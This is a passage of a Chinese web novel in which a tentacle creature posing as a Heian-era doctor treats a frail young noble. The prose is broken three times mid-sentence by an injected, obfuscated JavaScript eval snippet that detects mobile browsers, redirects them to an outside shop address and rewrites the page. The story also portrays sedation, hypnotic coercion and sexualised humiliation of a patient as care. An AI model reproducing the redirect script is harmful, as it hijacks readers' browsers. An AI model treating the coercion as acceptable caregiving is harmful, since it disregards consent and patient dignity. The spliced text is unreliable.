可他家的蜡烛质量很好,盯半天只见烛泪滚落,没见燃烧了多少。 等燃烧尽,不可能、不可能忍那么久的……绝对不可能…… 蜡被烛火的温度烫化,再度溢出来了一圈,滚到半路变已经凝结。月彦只是盯着,却像是被那蜡烫着了一样,哼出声:“我……” 清空:“可以不用忍了。” 他话音未落,小少爷涣散的瞳孔就抖了抖,眉尖本能地耸起。 不、不行! 没了别人的命令,忍耐就全靠自己的克制,偏偏他从不是克制之人。月彦用最后的理智坚持着:“我要去……去厕……” 清空:“在这里也行吧,弄完我一并打扫了。” 饶是理智都快融化了,月彦还是感到震怒——这医生是什么地方来的野人吗? 无法自己行走、失去尊严的感觉,从未如此强烈。他抓紧了自己仅存的那点自尊,咬着牙摇头。 半野生触手不知道他在抗拒什么,把人背对着他抱起来,膝弯卡在小臂上。 他很擅长自动过滤其他人的语言,不管说没说,都不听。 等了一会儿。 他下了判断:“还能忍的话,那我去忙别的了。” 月彦仰着头,湿漉漉的眼睛对着他,里面已经没有怨恨了。他现在说不定连自己在忍什么都不知道。 清空:“又不会有其他人知道。” 病人的自尊很顽强。 太忽视病人感受也不好,老师告诉过他当医生要关怀适当病人的想法,哪怕那些想法很离奇,要知道,有些病人失去了自己的行动能力,身体上的尊严被无限剥夺,所以会格外看重心灵上的尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348787|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严,还可能会有特别多的臭规矩。于是清空想了想:“这样,我从十开始倒数。” “你答应过我的,要听话。” “想象自己正在走楼梯,每数一个数,你就会更往下一步。你会忘记身上的外物,忘记其他人类教你的那些礼仪,忘记痛苦。想象自己,回到最初,感觉泡在暖融融的液体中,满足的,什么都没有的,什么都不需要的。” “这样的你,没有办法抵抗外来的声音,这很正常。” “都是我的错。是我令你做的。” “来吧,慢慢想象。等结束,属于你的一切仍然会回来。” “十……九……” 在最后,清空用触肢卷起月彦的寝衣,把衣角塞他口腔里,叼着。省的把刚换的衣服又弄脏了。 他用触肢按了按月彦的肚子,低声命令了一句。 …… 接下来的一周,小少爷都十分安详,没有医闹。 清空没给他继续吃药,而月彦的体力都被那一次的药物过量给卷走了,重新回到了有些病殃殃的状态,窝在床上,不愿意见人。 当然,比以前要好一点。 至少吃饭的时候不会闹,投喂的时候非常乖,也没有动辄打骂侍女仆从。 清空开始在后院掘池塘。 他是可以一下子就把池塘挖出来,可那样会显得他不太像人类。于是白天的时候,他都约了几个仆从,一起拿着铲子挖挖挖。 “清空大人真的和我们很不一样啊。”仆从擦了擦汗,“您都不会出汗的。” 清空:“我锻炼比较好。” “医生也需要锻炼吗?” “会有不听话的病人嘛。” 他们不约而同想到了月彦。但月彦这人就是嘴毒,身上其实没什么力气。 “当医生也辛苦……”话是这样说,仆从眼底却涌起羡慕。他们是家奴,比正常人要低一等,性命都拿捏在主人家手里,本质上来说,和现在养在院子里的家畜差不多。 是的,清空还是开始种田养畜了。 小少爷不太愿意见他,于是也没有对此发表什么意见。一周下来,布置枯山水的庭院只保留了一小角,其他地方都开始种清空想要的东西。 或者说,是其他人想要的东西。他自己对蔬菜瓜果非常的无所谓,在购买种子的时候,把院子里所有的仆从侍女都叫过来,询问了他们的意见。 最后除了种蔬菜,还弄了一些藤蔓植物回来。 凌霄花、紫藤花。 也许等明年、后年,它们就会爬到花架、屋顶上,在相应的季节开满一大片。 他问过提出意见的侍女,问她这些花可以做什么食物。侍女却很惊讶,小心翼翼地回复:“虽说我知道些紫藤花的食谱,可……种这些花,只是我觉得它们非常好看呀,大人。” 清空不理解,不过也没说什么。 他准备去弄棵葡萄藤回来。 等治好了月彦,他也不想让这些仆从离开了。 养着他们,好像是可以帮很多忙。反正比月彦有用很多。没准到时候他可以问问月彦的父亲。但清空不知道这些人类愿不愿意留下来。 想着想着,侍女过来了。 清空已经知道她的名字,叫“葵”。 相比较另一个侍女,葵更年长,服侍的时间更长,低眉顺眼,总是如人偶般汇报。存在感很低,像是没有自己想法那样,但种花的要求也是她提的。 葵:“少爷想见您。” 清空便放下手中的铲子,往月彦的房间那边走去。 这一周,月彦都没和他说什么话。清空猜测是他嗓子眼太小,没恢复过来,说不了话。月彦是个很有自尊的人类,如果一开口就是难听的沙哑语调,就宁愿不说话。 他推开门,问:“我来了。是有什么地方不舒服吗?” 月彦坐在床上,眼神复杂地看了一眼。 清瘦细长的手指,抓紧了被褥,揉出一片褶皱。 但他仍然高傲地扬起脸,以命令式的语气:“我要吃药。那种药。” 7. 第七章 清空:“……” 看起来,上次小少爷的自尊卸载后,非常顺畅地重新装回去了。 他看起来是真的很想,像正常人一样,在阳光下行走。 “可以是可以。但是……像上次那样的排毒,一周要做一次。”清空委婉地拒绝。 那时候月彦不是很清醒,不知道记不记得,反正他记得这小少爷哭得不行,眼泪像是止不住的地泉那样喷出来。 到底还是把衣服弄脏了。 月彦:“……” 他倏然沉默。 记忆和气血一起上涌,冲得他头昏脑热。但片刻后,他重重吸气:“可以接受。” 清空看着他。 直到月彦被看恼了,愤怒和怨毒出现在脸上:“都是你的错!” 清空点点头:“我给你开药,晚上喝。” 月彦这才满意。 他又想起这几天清空在他院子里改造,有些不高兴:“你做那些低贱穷人才会做的事,真是廉价。” 清空根本不恼:“低贱的穷人正在给你看病,把手伸出来。” 月彦下意识听话地伸出手,嘴里仍然不饶人:“你身上一股土腥味儿,难闻,今天怎么不用脱衣服检查了?” 清空:“忙。” 月彦:“那些别的事有什么重要的?” “我喜欢。”清空摸了摸月彦掌心的温度,虽然凉,但比以前好很多。 他手指骤然被反握住,清空抬起头,对上月彦的眼睛。小少爷眼底兴致勃勃:“你也有喜欢的东西?”很惊诧的语气。 清空欲言又止,强调:“我是人类。” 虽然这个聪明的小少爷早就发现了,但他不想抛弃伪装,还是要努力当人的。 月彦已经习惯这家伙突然说怪话了,他忽视掉,问:“你是哪里人?” 清空报了个地名。 “这么远?”月彦上下打量了一下,觉得清空是挺符合那种乡下来的外地人的,“为什么会离开自己家乡?” 他已把清空彻底调查了一遍,只是几乎什么都查不出来,只知道这人有一个医生老师,两人去年一起来了平安京。 因为清空过分年轻,一开始很多人不信他的医术,不过在他作为学徒,治疗了一些贵族之后,名声渐渐变好了。 他的老师,则并没有在平安京待太久,很快就离开了。 清空答:“家里人不要我了。” 月彦:“……” 怎么说,他很震惊:“你竟然有家人。” 跟着人学医四处行走的学徒,基本上都是孤儿。 但转念一想,月彦又说:“被家人抛弃,和孤儿差不多了。” 清空:“……” “你有兄长姊妹?” “没有。”清空在这种无关紧要的事情上,都是老实作答,“也许现在有了,我是长子。” 这倒是很稀奇了,养不活才需要丢弃,清空如果是长子,看着又没什么问题,不应该被抛弃才对。月彦本想问问他的家庭状况,但想到清空各种粗鄙的生活习惯,便觉得不用问了。 八成是什么愚钝的平民家庭。 他问:“你老家是不是住在山里,打猎种地?” 清空点点头:“你真聪明。我的父亲很厉害,可以随随便便就造房子。我很小就会捕猎了。” 造房子是高端的触手技巧,可以把触肢拟态成任何物质,平地起高楼轻而易举。清空没那么强大。他开始稍稍有些怀念,占山为王,到处抓野生妖怪吃的时候。 月彦不想听农家日常,继续问:“听说那边不太平,有个诅咒之王,妖怪也多。” 清空点点头:“是这样的。” 他有些意外,没想到自己父母的名气,还挺大的,平安京的人都知道。 月彦的脸上浮现出好奇,他太病弱,家门都没怎么出过,更不要提这种来自远方的见闻经历。 他发现清空作为行医,去过很多地方,了解很多他不知道的事。可清空这人又不爱聊天,总是他问他答,零零碎碎地向他呈现出一个陌生的世界。 短暂的羡慕过后,他开始感到嫉妒。 人和人之间的差别,真是大啊。 美妙的心情转瞬阴云密布,他沏了茶,姿态优雅地展示着茶道技术。 “赏你的。”他把茶推给清空。 然后看着人,如牛嚼牡丹般,把整杯茶饮尽。 真是乡下人。 清空惦念着没挖完的池塘,月彦却要他继续坐着聊天。说真的,聊天没什么好聊的。 他直接道:“我要去干活了,我只负责你的疾病,其他不是我的工作。聊天是另外的价格,少爷。” 月彦只觉得他们之间隔着可悲的厚壁障,他气得不行:“种你的地去!” 把人赶走了,他又有点后悔。 他还想听清空讲些外面的事,而且……要是清空这人小心眼,晚上不给他药,怎么办? 他觉得清空真是个蠢货,把他伺候好了,什么赏赐都能给,偏偏这么不讨人喜欢。 …… 到了晚上,清空亲自把药端了过去,看着人喝。 月彦问:“加了迷药?” “嗯,是安眠的。” 月彦也不介意,全部喝了下去。他扬起下巴,让侍女端了一个盘子出来,上面摆了金叶子。 清空不明白这是什么意思。 “陪我聊天,直到我睡着,”月彦反问,“你不是说聊天是另外的价格吗?” 他准备拿钱羞辱清空。 清空确实皱了皱眉,本来想要晚上种花藤的。他跪坐下来,应了声:“好的。” “准你留在这里过夜。” 清空:“……” “你看我做什么?” “看药什么时候发作。晚安。” 他越这样,月彦就越要和他作对,硬打着精神聊下去。 月彦确实硬撑着聊了下去。 从清空老家的风物,到他行医时见过的病人,从山里的妖怪传闻,到平安京贵族们那些不足为外人道的隐疾—— “妖怪真的吃人?” “吃。” “你见过?” “见过。” “你不怕?” 清空想了想:“它们怕我。” 月彦嗤笑,当他是吹牛。但又想起这人身上那股淡淡的血腥气,他是听闻过人类武者杀妖的故事,可他觉得清空离那些传说里的人差远了。血腥味儿应该只是在厨房忙碌沾上的。 清空的饭量很大。 他眼皮往下坠。 药效开始上来了。 意识像被温水漫过,一点一点地模糊。月彦努力睁着眼睛,还不想失去意识。 伸手用力地一抓,也不知道在抓什么。 他把清空的手拽在怀里。 好凉。比现在的他还要凉。 “我出生时是死胎,”他自嘲般笑了笑,眼睛已经闭上了,“我身体不好,你却比我更凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352575|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真有意思。” 清空:“啊,因为我就是这种生物。而且我算是早产,出生很虚弱。” 月彦拽了拽他,觉得挺有意思,想听下去。看清空现在这么健康,他很想知道中间发生了什么。 “你该睡了。”清空却俯下身,“听话,够乖的话,我送你一个礼物。” 月彦已经彻底睡着了。 醒来时已经是第二天。 清空昨晚什么时候走的,他不知道。他只知道,他睡得很好。没有梦,没有半夜惊醒,没有那种喘不过气来的窒息感,醒来时浑身都软绵绵的,像是泡在温水里泡了一整夜。 月彦坐起来,掀开被子,看了看自己的手。 还是苍白,但指尖有了一点淡淡的血色。 他想起昨晚的对话——清空说,如果足够听话,会给他一个礼物。 月彦冷笑。 那个乡下人还真把自己当回事了。 别是把什么自己种的菜送给他。 …… 月彦没有故意维持什么安分听话,但身体逐渐好转的、持续的希望,让他的心情稳定了很多。 第五天傍晚,清空端着药过来,手里还拿着一件叠好的羽织。 月彦愣了一下。 这就是……礼物?他将衣服拿在手中。 他见过很多名贵的布料,可这羽织的料子很特别,不是他见过的任何一种织物。颜色是极淡的鸦青,在光下看时,又隐隐透出一点绯红的纹路,华美又诡异。 “这是你买的?”他问。 “我做的。”清空打了个哈欠,他虽然无法用触手拟态出房屋,搞一件衣服还是可以做到的,“穿上它,你可以出门。不必喝太多的药。” 月彦皱眉,伸手去摸那料子:“上面有什么阴阳术吗?” 触感温凉,柔软得像水,但又带着一种奇怪的感觉。 “差不多吧,我还做了里衣,一定要配套一起穿。你可以穿上试试,不是一直想要出门吗?” 月彦:“……” 他换了衣服,把羽织展开,披在身上。 很轻。 轻得像是没有重量,但又实实在在地包裹着他,隔绝了傍晚微凉的空气。温热的触感从肩头蔓延到全身,像是有一双看不见的手,在轻轻拥抱着他。 这衣服,有一种微妙的,令人毛骨悚然的活物感。 他站起来,走到窗边。 只觉得脚步轻盈,仿佛衣服察觉到了他的意图,帮着他走路。 窗外是庭院。夕阳落在清空挖了一半的池塘上,那几株刚种下的藤蔓,还没长出新芽。 侍女从井中打了水,正在浇地。年纪最小的仆役抱着喂养牲畜的草料,被一只小羊袭击,用脑袋把人顶得摔了一跤。 清空:“诶……” 他走过去帮忙,恐吓小羊:“我要吃掉你。” 羊:“咩——” 很惊恐地跑了。 月彦在廊下走了一圈,看着风雅不再的庭院,竟也没那么生气了。手指攥紧了羽织的边缘。 “我可以出门?”他问,声音很轻。 他竟可以出门行走了。 “可以。”清空的声音从身后传来,“明天你想去哪里?” 月彦没有立刻回答。 他想去很多地方。 他转过身,看着清空,夕阳在他脸上染了一片薄红。 “明天。”他说,“你陪我去。” 清空:“这是当然。” 8. 第八章 第二日,午饭过后,月彦和清空一起出门了。 春日的阳光并不烈,晒着暖融融的。 樱花已经开了,风一吹花瓣如雨。 直到花瓣落在指尖,月彦仍然有一些恍惚。 他竟然,真的出来了。无需别人帮忙,就这样走在阳光下。 身上的衣服和昨天一样,仍然给他一种不太舒服的活物感,可他没多久就忽略了。只要有用,他并不介意这到底是什么东西。 清空穿了件黑色的羽织,只有一点竖条纹,看着很素。他想了想,指了一个方向:“那边有集市。” 平安京有两个集市,一个在东边,一个在西边。他们往西走去。 老实说,集市不是他这种贵族会来逛的地方——除了纨绔子弟。 而且还几乎是孤身一人来逛,没有带家仆。 人群熙攘,没有人因为他站在这里而流露出奇怪的情绪。 他第一次,没有在别人眼中看见对他的怜悯——哦不,也不是第一次,月彦就没在清空身上感受到怜悯。 月彦瞥了一眼身边发呆沉默的人,往前走去。 有太多他没见过的新奇玩意了。 奇石,香料,精美的各色制品。布匹,簪钗,锅碗瓢盆。红豆年糕,糯米团子,热腾腾的甜汤。贵的,便宜的,吃的玩的,什么都有。 他每样都要看一看。 月彦这人,哪怕穿的羽织没家纹,也能一下子被人看出来,他是个养尊处优的贵族。白皙的脸上,仿佛浮着几个大字: 我是不谙世事的冤大头。 商家对他格外热情。 月彦也每每都会被拉过去,倨傲地听商家推销。 可等到别人哄他付钱的时候,那张形状优美的薄唇里,就会吐出刻薄的话语,似笑非笑,把东西贬得一文不值。 叫人火大,却没有办法。 而月彦自己,却因为别人被玩弄而笑起来。 清空熟门熟路地走向一个摊子,片刻,他提了一笼活兔回来。 月彦看了眼扑腾的兔子们,菜叶在兔脚底下被踩烂:“真脏,这是晚饭?” 清空:“我要养的。”听说兔子生得快,虽然小小一只,但多了也是盘菜。 “你到底把我家院子当什么了?”月彦不免皱眉。他都不知道院子里面有多少种动物了。 “当院子。” “……” 集市快要逛完的时候,清空忽然拐进一条小巷。 月彦愣了一下,跟上去。 巷子很窄,两边是低矮的房子,有的门关着,有的开着,能看见里面有人在织布,有人在编竹篮。 地面不太干净,看得月彦皱眉。 他们走到其中一扇门前,清空停下来,从怀里掏出钥匙,打开门。 “这是哪儿?”月彦问。 “我住的地方。”清空说,“在去你家之前。” 月彦往里看了一眼。 很小的房子,比他现在住的别院小多了。但收拾得很整齐,有一口水井,墙角种着几株不知名的植物。屋子里黑洞洞的,看不清有什么。 清空走进去,蹲下,在贴近门口的地方摸出一个信封。 信。 月彦站在门口,看着清空拆开信,低头读起来。 那是谁写的信? 他想起清空说过的话——“我老师很忙的,云游四海治病救人。” 是他老师寄来的吗? 清空读信的时候,表情和平时不太一样,要稍微的……有耐心一点。 纸墨都贵,那信上没几个字,大抵都是报平安的话。清空很快看完信,把信折好,收进怀里。 “走吧。”他说,“该回去了。” “明天继续逛。”月彦显然有些意犹未尽,“另一边也有个集市,我没去过。” “明天?”清空惊讶,摇头,“明天没空的。” 月彦:“嗯?你有什么事?”是那信? “不是我,是你。你忘了吗?吃药需要排毒,七天一次。明天是排毒的日子了。” 月彦:“……” 是了。 这是他现在能在外面逛、维持健康的小小代价。他自己明白,且接受的。 可抗拒感还是涌上来。 月彦垂下眼,记忆浮上来。 那种自己完全无法控制的感觉。 自己被抱着,听着对方的声音,然后彻底放弃抵抗。咬着衣服下摆,像一只被驯服的原始的动物,呜呜叫着,仿佛看自己属于人的部分变成了液体,从身体里流走,怎么都无法抓回。 “月彦。” 清空的声音忽然响起,很近。 月彦猛地抬起头。 清空就站在他面前,近到他能看清那双暗红色眼睛里面自己的倒影。那双眼睛看着他,还是那么平静,像是能看穿他在想什么。 然后清空抬起手。 月彦下意识想退,但身体没有动。 那只手伸过来,在他肩头停了一下——拈起一片粉白色的花瓣。 樱花。 月彦这才注意到,有花瓣落在自己肩上。不知道是什么时候落的,也许是刚才走在那棵樱花树下的时候。 清空把花瓣放在掌心,低头看了一眼,然后随手让它飘落。 清空走在他前面半步,黑色的羽织偶尔会碰到他的衣袖。下午的阳光把两个人的影子拉长,在地上叠在一起。 月彦低头看着那片交叠的影子,忽然想起那天晚上——清空抱着他,声音从头顶落下来,他无论怎么挣动,都只能紧紧贴在一起。 “都是我的错。是我令你做的。” 话音落进耳朵里的时候,他整个人都软了下来。 像是终于可以放下了。 所有的痛苦,都是清空的错,和他没关系。 就是这样没错。 他像是找到了借口,不再进行这件事的思考,可呼吸还是变得更加急促,脸颊上泛起了一阵热。 清空倏地回头:“你怎么了?” “什么?” “你在发热。”清空的声音平静却笃定。 “没有。”月彦几乎是立刻反驳,语气生硬,下意识地偏过头,避开了清空的视线。 清空没有动,只是静静地看着他。 巷子里很安静,只有远处集市隐约的喧闹和风吹过矮檐的细微声响。 月彦身上穿的衣服是他的触肢构成,身上刻了属于他的印记,又吃了那么多的触手液,现在他闭着眼睛,都能感受到他身上的状况了。 “我是你的医生。”清空的声音不高,咬字总是稳定而平均,平平淡淡,他向前迈了一小步,拉近了两人之间的距离,“而作为医生,我需要知道你的身体情况,真实的情况。” 他的目光看过来,眼瞳里并没有责备,只是在陈述某种事实。 伸出手,轻轻地碰了一下月彦的脸颊。 “明显在发热。”他脸上带了一点医生的严肃,连他那声音里的年轻感,都被冲淡了,“腿上的力气也变小了,我认为,在衣服的帮助下,这样的运动量,不至于让你腿软。” “我需要知道为什么。” “你的身体,很重要。” 月彦的嘴唇抿得发白,手指无意识地攥紧了衣袖。他想否认,想用更刻薄的言语刺回去,但那些关于失去控制的记忆碎片再次翻涌上来,让他感到一阵窒息般的难堪。 清空没有催促,只是耐心地等待着。 “我……”月彦的声音艰涩地挤出来,“是有些不舒服。” 很不想承认,他想到明天即将发生什么,就有些腿软。 不仅仅是痛苦的折磨,在最后的最后,身体深处涌上来的、让他头皮发麻的感觉……他不想回忆自己在别人的掌控下,在那种几乎是折辱的情况里,感受到了微妙的畅快。 痛苦的责任可以全推给清空。是清空让他喝药的,也是清空说要排毒的,是清空自己说“都是我的错”的。 可是那种爽快呢? 那也是清空的错吗?还是他自己……?说到底,爽快……是一种错误吗? 月彦不知道。 他不敢想。 他用力地、用力地把那些记忆压下去,压到最深的地方,假装它们不存在。那天晚上只有,也应该只有痛苦和屈辱。 可身体比他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357457|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更诚实。 一想到明天,想到那个人又会抱着他,用那种平静的声音说话,然后…… 月彦不太舒服。 有些出汗了。 越想越热,他轻轻地后退,拉开了和清空的距离,后背却撞在了巷子的墙壁上。 清空歪了歪头,感到十分不理解。 好像只是说了几句话,月彦身体里的毒竟然被勾了出来,提前发作了。 他视线往下。 月彦跟随着他视线往下,而后猛地惊惶起来。他竟然,竟然—— 清空:“真糟糕。” “我开始觉得带你出来是个错误选择了。你看,现在一切都搞砸了,你感到身体不舒服。而我要为自己用药不当而负责。这太糟糕了。” 月彦一动不动地站在原地。 这可是,在外面…… 他在外面的巷子里……只是想、想到了……就…… 他的脑子里一片空白,耳朵里嗡鸣着。 “别过来。”他的声音沙哑,几乎是从喉咙里挤出来的。 清空确实没有动。 只是看着。 像是在思考,怎么会变成这个样子。 “你……”月彦的呼吸越来越重,“你转过去。” 清空:“为什么?” 月彦说不出话,急促地呼吸了几下:“没有为什么!别看!” 清空没有转过去。 他甚至往前走了一步。 月彦的后背已经贴在墙上了,无处可退。他看着清空走近,看着那张没有表情的脸越来越近,心跳快得像是要从胸腔里蹦出来。 “你——” 很不妙的想法从脑子里蹦出来。 难道要当场解毒吗? 但清空只是伸出手,握住了他的手腕。 微凉的触感贴上皮肤,月彦整个人都抖了一下。 “药效被提前引出来了。”清空的声音很平静,“不是你的错,是我的问题。” 月彦咬着嘴唇,不说话。 清空松开手,往后退了半步。 “走吧。”他说,“回去。” 月彦愣住。 回去?就这样?他现在的样子—— “能走吗?”清空问。 月彦想说不能。他羞愤欲死,非常想反问对方,你没看见我这样吗?你怎么能就这样—— 但他身体下意识动了起来。 腿确实是软的。但那件羽织托着他,像是有一双看不见的手在扶着他的腰。他走了几步,竟然真的稳住了。 清空走在他旁边,不远不近,刚好在他需要的时候可以伸手的距离。 月彦低着头,看着地上自己的影子。那影子走得很稳,看不出任何异样。 衣服宽松地笼罩在他身上。 巷子很短,走出去就是集市。喧闹声扑面而来,人来人往,没有人注意到他们。月彦走在人群中,那股热意还在身体里流窜,他咬着牙,一步一步往前走。 出了集市,就有车马。仆从早已备好车了。 清空本来也没打算叫月彦走个来回,那样运动量太大了。 月彦几乎是跌进车厢的。 清空跟在后面。 车轮轧过路面,发出木质的声响,几只兔子在笼子里扑腾。 月彦大口喘着气,眼前一阵阵发黑。 不知道过了多久,清空的手指抓住了他的手腕:“到家了。” 月彦被他拉着,跌跌撞撞地穿过庭院,走进房间。 门关上的那一刻,月彦终于撑不住了。他顺着门滑下去,坐在地上,浑身发抖。 清空比他还难受,感觉自己差点搞出了医疗事故,他皱眉:“痊愈前不让你出门了。” 月彦像是触发了关键词:“不可能!” 清空:“是我的错,都是药的关系,抱歉。” “道歉有什么用!”月彦炸了,“我以后也要出门。你这个治不好就逃避的庸医!” 他脑子混沌地转起来:“既然是药物的关系,那多做几次排毒不就好了,天天做,不久没有副作用了?” 清空一愣:“……好聪明……啊。” 9. 第九章 这对吗? 清空心想好像有什么地方不对吧。 他不是正经医生,但给人吃的是正经药物。本来给的药就是完全正常的东西,没有什么毒性的,上次要排毒是因为小少爷偷喝了他没处理过的原材料。 他哪知道有人贪吃到豪饮触手汁啊。 和小少爷说一周要排毒一次,一方面是担心这人身子太脆弱,正好做一下二次处理,绝了药性的后患。事实证明这种想法是正确的,今天的事情证明,小少爷确实对他的药过于敏.感。 一方面是给点惩罚——如果没有什么严重后果,他觉得小少爷又要贪吃了。 然而事到如今,真相是不能说出口的,他只能承下来:“多排毒,是更好。不过我给的药没有那么毒,不用那么……勤快。” “你是我请来的医生。”月彦却说,“我现在难受,你不处理?” “嗯……” 确实,先处理眼下的情况比较重要。 清空找了找布条。 “又要蒙住眼睛吗?”月彦想起什么,警惕起来。 他不喜欢看不见。 他讨厌黑暗。久病缠身,长期被困在昏暗的房间里,与死亡为伴。他以前不想出来,是因为看见明亮的外界又无法触碰,会更加痛苦。 现在不一样了,他能出去了。 况且……一旦看不见,其他的感官就在黑暗中无限放大,一点点动静都变得尤其清晰,令人不安。清空动作又总是很强硬,显得他像个待处理的物件。 而非一个需要医治的、有尊严的人。 他盯着清空手中的布条,苍白的脸上除了病态的红晕,浮现出一层抗拒的阴郁:“我不需要这个。看着你弄,至少……我知道你在做什么。” 又好像很骄傲似的:“我现在还清醒着,也不用把我绑起来。” 清空:“那你很厉害了。” 说得好像刚才腿软到跌进来的人,不是他自己一样。 月彦看他不动,没有要放下布条的意思,皱起眉:“你什么意思,你的药是秘方,难道这解毒的过程,也是秘方?” 清空:“……” 他只是在思考,不用触肢,怎么灌药。 有点为难他了。 除了把药灌进肚子,他还会把一定的触汁注入月彦血管里,只有这样,才能把身体里淤积的微妙毒素带走——就算前者可以通过口服,后者怎么办? 现在还没有打针之类的治法呢。 他猜月彦连人的血管都没见过。 想不出来,唯有沉默。 反正月彦现在已经开始发作了,再等等,神志不清了,再把人绑上。 计划通。 清空:“我去拿药。” …… 他刻意放慢了速度,拖着时间,慢悠悠地拿了碗,和一个壶。 把触肢放壶里,假装是把壶中的液体倒出来:“喝吧。” 月彦心想这人真是慢死了。 接过碗,手抖得厉害。 清空看着那碗里的液体晃动,险些洒出来,便伸手托住了碗底。微凉的触感贴上月彦的手指,月彦抖了一下,却没力气挣开。 “喝。”清空说。 月彦低头,凑近碗边。 液体是温凉的,带着一股他说不上来的味道——反正不是药味,他抿了一口,喉咙动了动,咽下去。还有点微甜,微微的粘稠,像是煮过汤圆的甜汤。 然后又一口。 手还在抖。液体顺着嘴角溢出来,滑过下巴,滴落在衣襟上。 湿意洇开。 清空看着他。 苍白的脸泛出不正常的红,阴红色的眼睛因为药效而变得涣散,药顺着下巴滑落,在那修长的脖颈上留下一道水痕。 很是狼狈。 清空忽然开口:“喝药都能喝到身上。” 月彦的动作顿了顿,抬起眼看他。 “你是小孩吗?”清空的声音很平静,“小孩才会喝成这样。” 月彦的嘴唇抿紧了。 明明就是清空这家伙根本不会服侍人。 他想反驳,但舌头像是被什么东西绊住,说不出话。只能继续低头,继续喝。 又洒了一些。 清空看着他,又说:“腿在抖。” 月彦的腿确实在抖。明明都坐在地上了,可从大腿往下,一直到脚踝,都在轻轻发颤,连带着整个人都在轻微地晃。他自己知道,但控制不了。 “在外面的时候,”清空说,语气依然平淡,“就这样了吧。” 月彦的身体僵了僵。 “你还试图对我撒谎,”清空说,“你对自己的身体,一点控制力都没有。” 不是的。 不是这样的。 不应该是这样的。他应该反驳,但喉咙滚动,药将那些尖锐的思绪全都压回了肚子里,一个字都吐不出来。 因为清空说的是事实。 他确实控制不了。而且,只是在外面想到要发生什么,就这样了。 清空看着他,看了很久。 他知道月彦还有理智的时候,就会很有自尊。所以相应的,等到他说什么话都不会挑起他自尊心的反抗时,理智应该就消失了。 就可以真正开始干活了。 清空:“你知道你现在是什么样子吗?” 月彦勉力喝完一碗,睁开眼,对上那双过分干净的红色眼睛。 他看见自己的倒影。 “脸红了。”清空说,“眼眶也红了。手在抖,腿在抖,连嘴唇都在抖。喝药喝得到处都是,话也说不清楚。” 他顿了顿。 “你这样,还说自己清醒么。” “你这样,又怎么能出门。” “一出门就这样,以后怎么办?” 月彦咬着嘴唇,咬得发白。 清空又倒了一碗:“继续喝吧。” 月彦低头,把剩下的液体一口气灌进去。 又洒了一些,但他不管了。 快点、快点结束吧…… 可是药多得好像喝不完一样,到最后他只剩下本能的吞咽。他难受得不行,清空的手指却忽得压在了他的嘴唇上。 “别咬。”清空说,“都咬出血了。” 他轻轻一抹,月彦唇上的伤就愈合了。 “不是你的错。” “你吃了药。”清空轻声道,“药会让你身体发热,会让你控制不住自己。这不是你能决定的事。” 月彦的嘴唇动了动,想说什么。 清空的手指还贴在他唇上,轻轻压着。 “你刚才喝药,手抖,腿抖,洒得到处都是。那是因为药效上来了,你还能坐在这里喝完整碗,已经很厉害了。你现在一定很难受,没有办法思考,大脑一片空白,我说得对吗?” “……嗯。”他听见自己说,声音沙哑得几乎听不清。 清空点点头:“这很正常。都不是你的错。你只是不清醒了。” 对……都是药的错,他不清醒了…… 不思考,就不是他的错。 清空又说了几句,发现月彦已经没什么反应了。 他松了口气,很是感动。 如果病人都能随时卸载自己的脑子,那么他该是多么幸福的医生啊。 忙到深夜,清空打了个哈欠。 他差不多一个月没睡觉了,有点小困。 等月彦的病情稳步好转,每天只用吃吃药,他就稍微休息一下。 看着已陷入昏迷的,乖乖睡觉的月彦,清空发了会儿呆。 他饿了。 在外面的时候,他会察觉到异样,就是因为小少爷身上忽然爆发出了食物的气味。很淡,很陌生,他确信自己从来没吃过那种东西。 但本能提醒着他,那会是触手爱吃的东西。 想了想。 清空决定去厨房。 兔子已经养下了。仆从说兔子很会打洞,不能放在地里,只能圈养在竹笼之中。 夜已深,动物们都在睡觉。 清空看了一圈,从地窖里拖出来一头野猪,用触肢慢慢地缠起来吸收。 又爬上屋顶。 月色清清。 庭院里没有樱花,深灰色的瓦片缝隙里却有不少樱花的花瓣。 他在屋檐上躺下。 …… 第二日,清空在屋顶被吵醒。 阳光刺眼,他眯了眯眼睛,看见院子门口多了几辆马车。拉车的马被仆从牵着,车帘上绣着繁复的家纹——是月彦父亲来了。 清空打了个哈欠,从屋顶跳下来。 落地时正好和侍女葵打了个照面。侍女愣了一下,显然没想到医生会从天上掉下来,但她很快接受了这个事实,低头行礼:“清空大人,家主到了,正在正厅等您和少爷。” 清空点点头,往月彦房间走去。 推开门,月彦已经醒了。 